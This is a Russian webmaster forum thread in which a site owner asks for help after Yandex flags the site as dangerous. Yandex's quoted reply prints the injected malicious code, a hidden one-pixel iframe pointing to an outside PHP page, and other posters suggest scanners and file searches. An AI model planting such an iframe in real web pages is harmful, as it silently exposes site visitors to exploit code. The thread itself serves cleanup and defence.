Помогите найти вредоносный код

123 4
K
На сайте с 27.07.2010
Offline
89
15934

Здравствуйте. Яндекс пометил сайт в поиске как опасный. Несколько раз после перепроверки снимал пометку, но сейчас не снимает. Антивирус тоже ругается на него. Написал Платону, пришел ответ:

Здравствуйте!

При проверке Вашего сайта антивирусный комплекс Яндекса обнаружил вредоносный код следующего содержания:

<iframe src="http://goblin.mobilatory.com/jslib/fckeditor/editor/_source/_source.php" width=1 height=1 style="visibility: hidden"></iframe>

Пожалуйста, проверьте Ваши файлы и удалите вредоносный код.

В разделе "Безопасность" в панели вебмастера яндекс вердикт установлен Mal/ExpJS-BE

Не смог найти такой код ни в дизайне, ни в файлах cms. Пожалуйста, помогите кто может.

Адрес сайта pugachevskoevremya.ru

R
На сайте с 24.01.2008
Offline
180
#1

ТС как минимум проверьте индексные файлы, шаблон попробуйте пробежаться по фалам может что-то и увидите.

Если сами не справитесь стучите проверим сайт на вирусы + дадим рекомендации!

Удаление вирусов с сайта, защита сайта, Гарантия! ( /ru/forum/999073 ) -> топик на маулталк ( http://www.maultalk.com/topic113834s0.html ) -> Топик в сапе ( http://forum.sape.ru/showthread.php?t=79363 ). TELEGRAM - https://t.me/Doktorsaitov
КВ
На сайте с 02.07.2012
Offline
47
#2

http://sitecheck.sucuri.net/results/pugachevskoevremya.ru - тут написано где у тебя вредоносный код

http://www.revisium.com/ai/ - шелл код поищи этой штукой

http://forum.pugachevskoevremya.ru/ это рекомендую удалить если не используешь. Интересно какой пасс на админку, не из простых случайно?

K
На сайте с 27.07.2010
Offline
89
#3

Кот в сапогах, js файлы плагинов тоже проверять? Знать бы хотя бы примерно что искать, как выглядит этот код...

КВ
На сайте с 02.07.2012
Offline
47
#4
kudarchik:
Кот в сапогах, js файлы плагинов тоже проверять? Знать бы хотя бы примерно что искать, как выглядит этот код...

Я тебя не смогу курировать удаленно если ты элементарных вещей не знаешь. Почитай этот топик.

Сначала дырку закрой.

Плагины свои можешь проверить по базе здесь.

ЗЫ Об успехах в топик на который дал ссылку отпиши, у других меньше вопросов будет.

SeVlad
На сайте с 03.11.2008
Offline
1609
#5
kudarchik:
Не смог найти такой код ни в дизайне, ни в файлах cms

Что говорить о коде в дизайне 🤪 , если ты даже закреплённый топик в этом разделе не нашел.

Делаю хорошие сайты хорошим людям. Предпочтение коммерческим направлениям. Связь со мной через http://wp.me/P3YHjQ-3.
K
На сайте с 27.07.2010
Offline
89
#6

SeVlad, Ну или не искал:)

Завтра буду разбираться что там да как

A
На сайте с 19.04.2010
Offline
22
#7

попробуй зайти на ФТП через тотал командер..... с помощь тотала ищем текст в файлах (например "<iframe src="http://goblin.mobilatory.com").

Тотал покажет в каких файлах есть этот код, потом вручную удаляешь...

onlinesrv.ru - онлайн калькулятор хешей
MTFX
На сайте с 24.01.2010
Offline
79
#8

выход (это не реклама) а помощь человеку

Здесь может быть ваша реклама
6666
На сайте с 10.01.2005
Offline
505
#9
Asteroth:
отал покажет в каких файлах есть этот код, потом вручную удаляешь...

Бред, простите. Код будет в этих файлах прописан обратно, через 10 минут.

---------- Добавлено 12.04.2013 в 00:18 ----------

kudarchik:
как выглядит этот код..

Да выше уже сказали как его найти. Или Вы ответы не читаете? Попробуйте найти специалиста, который Вам все почистит.

Каждое мое сообщение проверила и одобрила Елена Летучая. (c) Для меня очень важно все что Вы говорите! (http://surrealism.ru/123.mp3) .
SeVlad
На сайте с 03.11.2008
Offline
1609
#10
6666:
Бред, простите

Бред вдвойне, ибо тотал не может искать на ФТП по содержимому файлов. Собсно ни одно десктопное приложение этого не может делать. По протоколу.

123 4

Авторизуйтесь или зарегистрируйтесь, чтобы оставить комментарий